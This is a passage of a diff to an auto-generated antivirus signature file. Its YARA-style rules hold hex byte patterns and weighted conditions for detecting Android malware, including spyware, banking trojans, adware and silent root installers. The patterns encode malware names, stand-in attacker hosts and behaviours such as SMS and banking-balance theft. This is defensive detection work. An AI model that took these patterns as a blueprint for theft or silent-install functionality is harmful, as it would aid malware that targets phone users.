6e 64 65 72 01 } //16675 $a_74_2 = {66 69 63 61 74 69 6f 6e 5f 69 6e 66 6f 01 00 07 00 6b 69 6c 6c 62 6f 74 01 00 21 00 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 64 6f 62 72 79 6e 79 61 6e 69 6b 69 74 69 63 68 73 6f 62 72 65 00 00 be a1 00 00 06 00 06 00 06 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 44 72 6f 69 64 52 6f 6f 74 65 72 2e 43 00 01 00 0c 00 63 68 65 63 6b 43 61 6e } //28272 $a_74_3 = {00 11 00 66 6f 72 63 65 55 6e 69 6e 73 74 61 6c 6c 41 70 6b 01 00 0b 00 69 73 46 75 6c 6c 79 52 6f 6f 74 01 00 0e 00 6d 6f 62 69 6c 65 52 6f 6f 74 49 6e 66 6f 01 00 19 00 4b 69 6e 67 75 73 65 72 2d 73 69 6c 65 6e 74 49 6e 73 74 61 6c 6c 41 70 6b 01 00 18 00 2f 73 79 73 74 65 6d 2f 61 70 70 2f 4b 69 6e 67 75 73 65 72 2e 61 70 6b 00 } //28498 - $a_00_4 = {00 04 00 04 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 69 63 72 6f 70 73 69 61 2e 50 00 02 00 14 01 2f 75 70 64 61 74 65 5f 70 61 74 63 68 2f 64 65 6c 65 74 65 02 00 20 01 75 70 64 61 74 65 2f 73 65 72 76 69 63 65 73 2f 44 6f 63 75 6d 65 6e 74 73 53 65 72 76 69 63 65 02 00 37 01 2f 63 65 6c 6c 2f 67 65 74 3f 6b 65 79 3d 31 38 37 31 37 62 39 66 2d 34 63 34 37 2d 34 32 63 37 2d 39 33 31 37 2d 64 34 30 63 32 33 36 61 63 39 31 31 26 6d 63 63 3d 00 } //-16896 - $a_00_5 = {00 05 00 05 00 05 00 21 23 54 45 4c 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 72 61 74 70 65 2e 41 21 4d 54 42 00 01 00 1e 01 63 6f 6d 2e 63 72 65 61 74 69 6f 73 6f 66 74 2e 74 72 61 63 6b 74 68 65 70 65 72 73 6f 6e 01 00 13 01 47 65 74 4c 61 73 74 4c 6f 63 61 74 69 6f 6e 54 61 73 6b 01 00 07 01 73 65 6e 64 53 6d 73 01 00 13 01 6c 6f 63 61 74 69 6f 6e 4c 69 73 74 65 6e 65 72 47 70 73 01 00 0f 01 67 6f 74 4c 6f 63 61 74 69 6f 6e 4c 6f 63 6b 00 } //-16896 + $a_00_4 = {00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 43 6f 70 2e 45 21 4d 54 42 00 01 00 32 01 55 43 4e 00 38 03 1a 00 6e 10 72 00 04 00 6e 10 8e 00 04 00 0c 01 6e 20 97 00 14 00 0c 02 6e 10 96 00 04 00 0c 00 6e 10 5a 01 00 00 0a 03 39 03 03 00 01 00 38 01 13 06 64 00 12 05 55 74 4e 00 38 04 2c 00 6e 30 73 00 67 06 1a 04 f1 01 6e 20 91 00 47 00 6e 40 7a 00 57 55 6e 20 7b 00 57 00 22 00 2b 00 1a 04 27 01 70 30 66 00 70 04 00 } //-16896 + $a_00_5 = {00 04 00 04 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 69 63 72 6f 70 73 69 61 2e 50 00 02 00 14 01 2f 75 70 64 61 74 65 5f 70 61 74 63 68 2f 64 65 6c 65 74 65 02 00 20 01 75 70 64 61 74 65 2f 73 65 72 76 69 63 65 73 2f 44 6f 63 75 6d 65 6e 74 73 53 65 72 76 69 63 65 02 00 37 01 2f 63 65 6c 6c 2f 67 65 74 3f 6b 65 79 3d 31 38 37 31 37 62 39 66 2d 34 63 34 37 2d 34 32 63 37 2d 39 33 31 37 2d 64 34 30 63 32 33 36 61 63 39 31 31 26 6d 63 63 3d 00 } //-16896 condition: ((#a_46_0 & 1)*16675+(#a_74_2 & 1)*28272+(#a_74_3 & 1)*28498+(#a_00_4 & 1)*-16896+(#a_00_5 & 1)*-16896) >=6 } -rule _InfrastructureShared_24775{ +rule _InfrastructureShared_26077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 3a 44 72 6f 69 64 52 6f 6f 74 65 72 2e 43 00 01 00 0c 00 63 68 65 63 6b 43 61 6e 52 6f 6f 74 01 00 11 00 66 6f 72 63 65 55 6e 69 6e 73 74 61 6c 6c 41 70 6b 01 00 0b 00 69 73 46 75 6c 6c 79 52 6f 6f 74 01 00 0e 00 6d 6f 62 69 6c 65 52 6f 6f } //20515 - $a_66_1 = {01 00 19 00 4b 69 6e 67 75 73 65 72 2d 73 69 6c 65 6e 74 49 6e 73 74 61 6c 6c 41 70 6b 01 00 18 00 2f 73 79 73 74 65 6d 2f 61 70 70 2f 4b 69 6e 67 75 73 65 72 2e 61 70 6b 00 00 be a2 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 69 63 72 6f 70 73 69 61 2e 50 00 02 00 14 01 2f 75 } //18804 - $a_74_2 = {5f 70 61 74 63 68 2f 64 65 6c 65 74 65 02 00 20 01 75 70 64 61 74 65 2f 73 65 72 76 69 63 65 73 2f 44 6f 63 75 6d 65 6e 74 73 53 65 72 76 69 63 65 02 00 37 01 2f 63 65 6c 6c 2f 67 65 74 3f 6b 65 79 3d 31 38 37 31 37 62 39 66 2d 34 63 34 37 2d 34 32 63 37 2d 39 33 31 37 2d 64 34 30 63 32 33 } //25712 - $a_39_3 = {31 26 6d 63 63 3d 00 00 be a2 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 72 61 74 70 65 2e 41 21 4d 54 42 00 01 00 1e 01 63 6f 6d 2e 63 72 65 61 74 69 6f 73 6f 66 74 2e 74 72 61 63 6b 74 68 65 70 65 72 73 6f 6e 01 00 13 } //24886 - $a_74_4 = {61 73 74 4c 6f 63 61 74 69 6f 6e 54 61 73 6b 01 00 07 01 73 65 6e 64 53 6d 73 01 00 13 01 6c 6f 63 61 74 69 6f 6e 4c 69 73 74 65 6e 65 72 47 70 73 01 00 0f 01 67 6f 74 4c 6f 63 61 74 69 6f 6e 4c 6f 63 6b 00 00 be a2 00 00 06 00 06 00 06 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 } //18177 - $a_4e_5 = {69 63 6f 6e 2e 41 21 4d 54 42 00 01 00 10 00 49 6e 73 65 72 74 41 44 41 63 74 69 76 69 74 79 01 00 09 00 62 65 61 6e 2e 6c 69 73 74 01 00 08 } //21327 + $a_66_1 = {01 00 19 00 4b 69 6e 67 75 73 65 72 2d 73 69 6c 65 6e 74 49 6e 73 74 61 6c 6c 41 70 6b 01 00 18 00 2f 73 79 73 74 65 6d 2f 61 70 70 2f 4b 69 6e 67 75 73 65 72 2e 61 70 6b 00 00 be a2 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 43 6f 70 2e 45 21 4d 54 42 00 01 } //18804 + $a_55_2 = {4e } //12800 N + $a_1a_3 = {6e 10 72 } //14336 + $a_00_5 = {0c 01 6e 20 } //142 condition: - ((#a_41_0 & 1)*20515+(#a_66_1 & 1)*18804+(#a_74_2 & 1)*25712+(#a_39_3 & 1)*24886+(#a_74_4 & 1)*18177+(#a_4e_5 & 1)*21327) >=6 + ((#a_41_0 & 1)*20515+(#a_66_1 & 1)*18804+(#a_55_2 & 1)*12800+(#a_1a_3 & 1)*14336+(#a_00_5 & 1)*142) >=6 } -rule _InfrastructureShared_24776{ +rule _InfrastructureShared_26078{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 43 6f 70 2e 45 21 4d 54 42 00 01 00 32 01 55 43 4e 00 38 03 1a 00 6e 10 72 00 04 00 6e 10 8e 00 04 00 0c 01 6e 20 97 00 14 00 0c 02 6e } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_26079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 03 00 21 " @@ -324471,7 +341181,7 @@ rule _InfrastructureShared_24776{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28021+(#a_6f_2 & 1)*25710) >=4 } -rule _InfrastructureShared_24777{ +rule _InfrastructureShared_26080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -324485,7 +341195,7 @@ rule _InfrastructureShared_24777{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*28531+(#a_69_2 & 1)*20015+(#a_6f_3 & 1)*8194+(#a_2f_4 & 1)*400) >=5 } -rule _InfrastructureShared_24778{ +rule _InfrastructureShared_26081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -324499,7 +341209,7 @@ rule _InfrastructureShared_24778{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_03_3 & 1)*1+(#a_00_4 & 1)*0) >=6 } -rule _InfrastructureShared_24779{ +rule _InfrastructureShared_26082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 03 00 21 " @@ -324511,7 +341221,7 @@ rule _InfrastructureShared_24779{ ((#a_41_0 & 1)*20515+(#a_90_1 & 1)*6703+(#a_30_2 & 1)*0) >=2 } -rule _InfrastructureShared_24780{ +rule _InfrastructureShared_26083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -324526,7 +341236,7 @@ rule _InfrastructureShared_24780{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*26723+(#a_72_2 & 1)*12115+(#a_74_3 & 1)*17440+(#a_54_4 & 1)*8515+(#a_01_5 & 1)*25697) >=6 } -rule _InfrastructureShared_24781{ +rule _InfrastructureShared_26084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 07 00 21 " @@ -324542,7 +341252,7 @@ rule _InfrastructureShared_24781{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*24916+(#a_4d_2 & 1)*17217+(#a_73_3 & 1)*25933+(#a_61_4 & 1)*21551+(#a_61_5 & 1)*28009+(#a_4d_6 & 1)*20014) >=6 } -rule _InfrastructureShared_24782{ +rule _InfrastructureShared_26085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -324556,7 +341266,7 @@ rule _InfrastructureShared_24782{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*37+(#a_72_2 & 1)*28225+(#a_00_3 & 1)*25705+(#a_63_4 & 1)*22016) >=5 } -rule _InfrastructureShared_24783{ +rule _InfrastructureShared_26086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 06 00 21 " @@ -324571,7 +341281,7 @@ rule _InfrastructureShared_24783{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=5 } -rule _InfrastructureShared_24784{ +rule _InfrastructureShared_26087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -324584,7 +341294,7 @@ rule _InfrastructureShared_24784{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*28015+(#a_79_2 & 1)*26998+(#a_52_3 & 1)*17486) >=6 } -rule _InfrastructureShared_24785{ +rule _InfrastructureShared_26088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -324598,7 +341308,7 @@ rule _InfrastructureShared_24785{ ((#a_41_0 & 1)*20515+(#a_45_1 & 1)*17247+(#a_41_2 & 1)*28257+(#a_68_3 & 1)*24370+(#a_69_4 & 1)*29284) >=10 } -rule _InfrastructureShared_24786{ +rule _InfrastructureShared_26089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 05 00 21 " @@ -324612,7 +341322,7 @@ rule _InfrastructureShared_24786{ ((#a_4c_0 & 1)*21539+(#a_6e_1 & 1)*26740+(#a_64_2 & 1)*28524+(#a_52_3 & 1)*28486+(#a_63_4 & 1)*24933) >=4 } -rule _InfrastructureShared_24787{ +rule _InfrastructureShared_26090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -324626,7 +341336,7 @@ rule _InfrastructureShared_24787{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*27756+(#a_79_2 & 1)*20481+(#a_2f_3 & 1)*20324+(#a_63_4 & 1)*24937) >=5 } -rule _InfrastructureShared_24788{ +rule _InfrastructureShared_26091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -324639,7 +341349,7 @@ rule _InfrastructureShared_24788{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*24940+(#a_00_2 & 1)*21581+(#a_63_3 & 1)*31091) >=5 } -rule _InfrastructureShared_24789{ +rule _InfrastructureShared_26092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -324647,14 +341357,14 @@ rule _InfrastructureShared_24789{ $a_46_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 6e 74 2e 56 21 4d 54 42 00 01 00 0c 01 73 79 6e 63 43 61 6c 6c 4c 6f 67 73 01 00 0f 01 73 79 6e 63 43 6f 6e 74 61 63 74 4c 69 73 74 01 00 17 01 73 79 6e 63 55 } //16675 $a_74_1 = {64 4c 6f 63 61 74 69 6f 6e 49 6e 66 6f 01 00 07 01 73 79 6e 63 53 4d 53 01 00 11 01 73 79 6e 63 49 6e 73 74 61 6c 6c 65 64 41 70 70 73 02 00 15 01 69 6e 69 74 69 61 74 65 53 79 6e 63 4d 65 63 68 61 6e 69 73 6d 00 00 be a6 00 00 05 00 05 00 07 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 } //25712 $a_6f_2 = {64 4f 53 2f 44 6f 6d 6f 62 2e 41 00 01 00 0d 00 44 6f 6d 6f 62 41 63 74 69 76 69 74 79 01 00 0d 00 72 2e 64 6f 6d 6f 62 2e 63 6e 2f 61 2f 01 00 0c 00 64 5b 63 6f 6f 72 64 5f 61 63 63 5d 01 00 0d 00 63 6c 69 63 6b 5f 74 72 61 63 6b 65 72 01 00 10 00 64 21 6a 40 64 23 67 24 72 25 73 5e 6a 26 68 2a 01 00 08 00 64 6f 6d 6f 62 2e 6a 73 01 00 15 } //25710 - $a_6e_3 = {64 6f 6d 6f 62 2f 61 6e 64 72 6f 69 64 2f 61 64 73 00 00 04 00 be a7 00 00 05 00 05 00 06 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 4f 66 66 65 72 41 64 2e 41 21 4d 54 42 00 01 00 10 01 4d 41 49 4e 5f 41 44 53 5f 43 48 41 4e 4e 4c 45 01 00 0b 00 61 7a 2e 61 70 6b } //27648 - $a_63_4 = {01 00 12 00 41 70 70 4f 66 66 65 72 73 41 63 74 69 76 69 74 79 3a 01 00 16 00 77 61 62 61 6f 2e 73 6d 73 2e 73 65 72 76 69 63 65 32 6d 61 } //27251 - $a_00_5 = {09 } //28265 + $a_6e_3 = {64 6f 6d 6f 62 2f 61 6e 64 72 6f 69 64 2f 61 64 73 00 00 04 00 be a7 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 68 61 6d 65 72 61 2e 47 21 4d 54 42 00 01 00 36 01 63 00 03 00 1a 01 31 04 12 02 12 13 39 00 1e 00 1c 00 b5 00 1a 04 00 20 23 35 65 } //27648 + $a_5b_4 = {4d 06 05 02 6e 30 } //25097 ٍȅの + $a_05_5 = {0c 00 69 00 02 00 6e 20 b5 28 30 00 01 00 3c 01 1c 03 b5 00 1a 04 62 18 23 25 65 09 6e 30 bc 27 43 05 0c 03 69 03 04 00 6e 20 b5 28 03 00 28 07 0d 03 1a 04 b8 04 71 30 1f 05 41 03 6a 00 05 00 } //10172 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25712+(#a_6f_2 & 1)*25710+(#a_6e_3 & 1)*27648+(#a_63_4 & 1)*27251+(#a_00_5 & 1)*28265) >=6 + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25712+(#a_6f_2 & 1)*25710+(#a_6e_3 & 1)*27648+(#a_5b_4 & 1)*25097+(#a_05_5 & 1)*10172) >=6 } -rule _InfrastructureShared_24790{ +rule _InfrastructureShared_26093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 07 00 21 " @@ -324665,12 +341375,23 @@ rule _InfrastructureShared_24790{ $a_00_3 = {64 6f 6d 6f 62 2e 6a 73 } //1 domob.js $a_00_4 = {6c 63 6e 2f 64 6f 6d 6f 62 2f 61 6e 64 72 6f 69 64 2f 61 64 73 } //1 lcn/domob/android/ads $a_00_5 = {be a7 00 00 } //0 - $a_00_6 = {06 00 21 23 41 } //5 + $a_00_6 = {02 00 } //2 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*0+(#a_00_6 & 1)*5) >=5 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*0+(#a_00_6 & 1)*2) >=5 } -rule _InfrastructureShared_24791{ +rule _InfrastructureShared_26094{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 68 61 6d 65 72 61 2e 47 21 4d 54 42 00 01 00 36 01 63 00 03 00 1a 01 31 04 12 02 12 13 39 00 1e 00 1c 00 b5 00 1a 04 00 20 23 35 65 09 62 06 5b 0f 4d 06 } //21539 + $a_30_1 = {27 40 05 0c 00 69 00 02 00 6e 20 b5 28 30 00 01 00 3c 01 1c 03 b5 00 1a 04 62 18 23 25 65 09 6e 30 bc 27 43 05 0c 03 69 03 04 00 6e 20 b5 28 03 00 28 07 0d 03 1a 04 b8 04 71 30 1f 05 41 03 6a 00 05 00 62 00 04 00 38 00 18 00 23 23 67 09 00 00 be a7 00 00 05 00 05 00 06 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f } //517 + condition: + ((#a_4c_0 & 1)*21539+(#a_30_1 & 1)*517) >=2 + +} +rule _InfrastructureShared_26095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 06 00 21 " @@ -324679,13 +341400,13 @@ rule _InfrastructureShared_24791{ $a_73_1 = {63 74 69 76 69 74 79 3a 01 00 16 00 77 61 62 61 6f 2e 73 6d 73 2e 73 65 72 76 69 63 65 32 6d 61 69 6e 01 00 09 00 45 54 53 6d 73 2e 61 70 6b 01 00 15 00 6a 73 6f 6e 2f 73 6d 73 2f 73 6d 73 5f 6c 69 73 74 2e 6a 73 70 00 00 be a7 00 00 06 00 06 00 08 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 54 72 61 63 6b 69 74 2e 41 00 01 00 15 00 65 78 65 63 } //25958 $a_4d_2 = {6e 69 74 6f 72 50 72 6f 63 65 73 73 01 00 10 00 62 64 73 79 73 74 65 6d 6d 6f 6e 69 74 6f 72 5f 01 00 09 00 63 61 6c 6f 67 69 6e 66 6f 01 00 0e 00 73 6d 73 4c 6f 67 69 6e 43 6f 6e 66 69 67 01 00 0e 00 73 79 73 6d 6f 6e 69 74 6f 72 2e 63 66 67 01 00 0c 00 44 61 74 61 55 70 6c 6f 61 64 65 72 01 00 09 00 } //29813 $a_63_3 = {64 61 74 61 01 00 0a 00 64 65 76 69 6e 66 6f 2e 64 62 00 00 be a7 00 00 07 00 07 00 07 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 44 6f 6d 6f 62 2e 42 21 4d 54 42 00 01 00 10 00 44 6f 6d 6f 62 41 70 70 44 6f 77 6e 6c 6f 61 64 01 00 0d 00 63 6c 69 63 6b 5f 74 } //29300 - $a_6b_4 = {72 01 00 0b 00 44 6f 6d 6f 62 41 64 56 69 65 77 01 00 0d 00 54 45 53 54 5f 45 4d 55 4c 41 54 4f 52 01 00 09 00 64 69 73 70 6c 61 79 41 64 01 00 12 00 6f 6e 20 44 6f 77 6e 6c 6f 61 64 20 73 74 61 72 74 3a 01 00 0d 00 44 6f 6d 6f 62 41 63 74 69 76 69 74 79 00 00 05 00 be a8 00 00 03 00 03 00 04 00 } //24946 - $a_45_5 = {3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 48 21 4d 54 42 00 01 00 1d 01 64 69 73 74 69 6e 63 74 69 6f 6e 2f 63 66 6c 6f 77 2f 61 63 74 69 76 69 74 69 74 65 73 01 00 15 01 43 6f 63 6b 74 61 69 6c 42 6f 6f 6b 73 } //8993 + $a_6b_4 = {72 01 00 0b 00 44 6f 6d 6f 62 41 64 56 69 65 77 01 00 0d 00 54 45 53 54 5f 45 4d 55 4c 41 54 4f 52 01 00 09 00 64 69 73 70 6c 61 79 41 64 01 00 12 00 6f 6e 20 44 6f 77 6e 6c 6f 61 64 20 73 74 61 72 74 3a 01 00 0d 00 44 6f 6d 6f 62 41 63 74 69 76 69 74 79 00 00 05 00 be a7 00 00 08 00 08 00 04 00 } //24946 + $a_4c_5 = {3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 42 61 6e 6b 65 72 41 67 65 6e 74 2e 42 56 00 02 00 12 01 5f 67 65 74 53 61 64 65 72 61 74 42 61 6c 61 6e 63 65 02 00 13 01 49 63 6f 6e 53 65 } //8993 condition: - ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25958+(#a_4d_2 & 1)*29813+(#a_63_3 & 1)*29300+(#a_6b_4 & 1)*24946+(#a_45_5 & 1)*8993) >=5 + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25958+(#a_4d_2 & 1)*29813+(#a_63_3 & 1)*29300+(#a_6b_4 & 1)*24946+(#a_4c_5 & 1)*8993) >=5 } -rule _InfrastructureShared_24792{ +rule _InfrastructureShared_26096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 08 00 21 " @@ -324702,36 +341423,35 @@ rule _InfrastructureShared_24792{ ((#a_41_0 & 1)*20515+(#a_6e_1 & 1)*17262+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1) >=6 } -rule _InfrastructureShared_24793{ +rule _InfrastructureShared_26097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 44 6f 6d 6f 62 2e 42 21 4d 54 42 00 01 00 10 00 44 6f 6d 6f 62 41 70 70 44 6f 77 6e 6c 6f 61 64 01 00 0d 00 63 6c 69 63 6b 5f 74 72 61 63 6b 65 72 01 00 0b 00 44 6f 6d 6f 62 } //16675 - $a_69_1 = {77 01 00 0d 00 54 45 53 54 5f 45 4d 55 4c 41 54 4f 52 01 00 09 00 64 69 73 70 6c 61 79 41 64 01 00 12 00 6f 6e 20 44 6f 77 6e 6c 6f 61 64 20 73 74 61 72 74 3a 01 00 0d 00 44 6f 6d 6f 62 41 63 74 69 76 69 74 79 00 00 05 00 be a8 00 00 03 00 03 00 04 00 21 23 } //25665 - $a_3a_2 = {64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 48 21 4d 54 42 00 01 00 1d 01 64 69 73 74 69 6e 63 74 69 6f 6e 2f 63 66 6c 6f 77 2f 61 63 74 69 76 69 74 69 74 65 73 01 00 15 01 43 6f 63 6b 74 61 69 } //17748 - $a_6f_3 = {73 41 63 74 69 76 69 74 79 01 00 1c 01 2f 70 61 67 65 73 2f 67 6c 6f 73 73 61 72 79 5f 6e 6f 74 65 73 5f 77 69 64 67 65 74 01 00 1b 03 74 00 00 0a 01 38 01 37 00 72 10 90 01 01 74 00 00 0c 01 1f 01 de 11 6e 10 90 00 00 00 be a8 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 } //17004 - $a_42_4 = {6e 6b 2e 41 21 4d 54 42 00 01 00 16 01 66 61 6b 65 2d 62 61 6e 6b 2d 74 65 73 74 2e 77 65 62 2e 61 70 70 01 00 1f 01 63 6f 6d 2e 65 78 61 6d 70 6c 65 2e 6d 61 6c 77 61 72 65 2e 53 65 72 76 69 63 65 42 6f 6f 74 01 00 13 01 73 75 70 65 72 2d 62 61 64 2d 68 61 63 6b 65 72 2e 72 75 01 00 06 01 67 65 74 53 } //27489 - $a_00_5 = {15 } //21325 - $a_73_6 = {6d 61 69 6c 69 6e 67 5f 70 68 6f 6e 65 62 6f 6f 6b 00 00 be a8 00 00 06 00 06 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 52 65 77 61 72 64 53 74 65 61 6c 2e 4f 21 4d 54 42 00 01 00 10 01 50 6f 73 74 44 61 74 61 4e 6f 64 65 43 61 72 64 01 00 0f 01 50 6f 73 74 44 61 74 61 4e 6f 64 65 } //29441 + $a_69_1 = {77 01 00 0d 00 54 45 53 54 5f 45 4d 55 4c 41 54 4f 52 01 00 09 00 64 69 73 70 6c 61 79 41 64 01 00 12 00 6f 6e 20 44 6f 77 6e 6c 6f 61 64 20 73 74 61 72 74 3a 01 00 0d 00 44 6f 6d 6f 62 41 63 74 69 76 69 74 79 00 00 05 00 be a7 00 00 08 00 08 00 04 00 21 23 } //25665 + $a_3a_2 = {72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 42 61 6e 6b 65 72 41 67 65 6e 74 2e 42 56 00 02 00 12 01 5f 67 65 74 53 61 64 65 72 61 74 42 61 6c 61 6e 63 65 02 00 13 01 49 63 6f 6e 53 65 72 76 69 63 65 52 65 } //19521 + $a_76_3 = {72 02 00 24 01 63 61 70 74 75 72 65 41 6e 64 53 65 6e 64 53 63 72 65 65 6e 73 68 6f 74 57 69 74 68 42 6f 64 79 4e 6f 6e 65 02 00 20 01 67 65 74 53 61 64 65 72 61 74 42 61 6c 61 6e 63 65 41 6e 64 53 65 6e 64 54 6f 53 65 72 76 65 72 00 00 be a8 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a } //25955 + $a_72_4 = {69 64 4f 53 2f 46 61 6b 65 42 61 6e 6b 2e 41 21 4d 54 42 00 01 00 16 01 66 61 6b 65 2d 62 61 6e 6b 2d 74 65 73 74 2e 77 65 62 2e 61 70 70 01 00 1f 01 63 6f 6d 2e 65 78 61 6d 70 6c 65 2e 6d 61 6c 77 61 72 65 2e 53 65 72 76 69 63 65 42 6f 6f 74 01 00 13 01 73 75 70 65 72 2d 62 61 64 2d 68 61 63 6b 65 } //28225 + $a_75_5 = {00 06 01 67 65 74 53 4d 53 01 00 15 01 73 6d 73 5f 6d 61 69 6c 69 6e 67 5f 70 68 6f 6e 65 62 6f 6f 6b 00 00 be a8 00 00 06 00 06 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 52 65 77 61 72 64 53 74 65 61 6c 2e 4f 21 4d 54 42 00 01 00 10 01 50 6f 73 74 44 61 74 61 4e 6f 64 65 43 61 72 64 01 00 0f 01 } //11890 + $a_74_6 = {61 74 61 4e 6f 64 65 53 6d 73 01 00 0d 01 75 73 65 72 5f 43 72 6e 5f 43 61 72 64 01 00 16 01 53 65 6e 64 5f 49 6e 73 74 61 6c 6c 65 64 5f 52 65 71 75 65 73 74 01 00 0d 01 43 61 72 64 5f 61 63 74 69 76 69 74 79 01 00 0d 01 43 6c 61 69 6d 20 52 65 77 61 72 64 7a 00 00 be a8 00 00 